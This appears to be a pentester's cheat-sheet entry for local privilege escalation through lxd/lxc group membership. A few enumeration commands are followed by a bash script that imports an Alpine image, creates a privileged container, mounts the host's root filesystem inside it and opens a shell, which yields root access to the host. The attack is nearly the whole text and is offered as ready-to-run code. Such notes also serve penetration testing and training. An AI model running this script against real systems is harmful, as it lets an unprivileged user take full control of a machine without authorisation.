lxd/lxc Group

groups

id

lxc image list

#!/bin/bash

# First, download the Alpine image from https://github.com/saghul/lxd-alpine-builder/tree/master
# and then upload it to the target machine.


# Define variables
# Set IMAGE_FILE to the correct Alpine image file (e.g., alpine-xxxxx_xxx.tar.gz)
IMAGE_FILE="alpine-v3.13-x86_64-20210218_0139.tar.gz"
IMAGE_ALIAS="privesc"
CONTAINER_NAME="privesc2root"

# Import the image to LXC
lxc image import "$IMAGE_FILE" --alias "$IMAGE_ALIAS"

# Initialize the container with elevated privileges
lxc init "$IMAGE_ALIAS" "$CONTAINER_NAME" -c security.privileged=true

# Add a disk device with access to the host root
lxc config device add "$CONTAINER_NAME" mydevice disk source=/ path=/mnt/root recursive=true

# Start the container
lxc start "$CONTAINER_NAME"

# Execute a shell inside the container
lxc exec "$CONTAINER_NAME" -- /bin/sh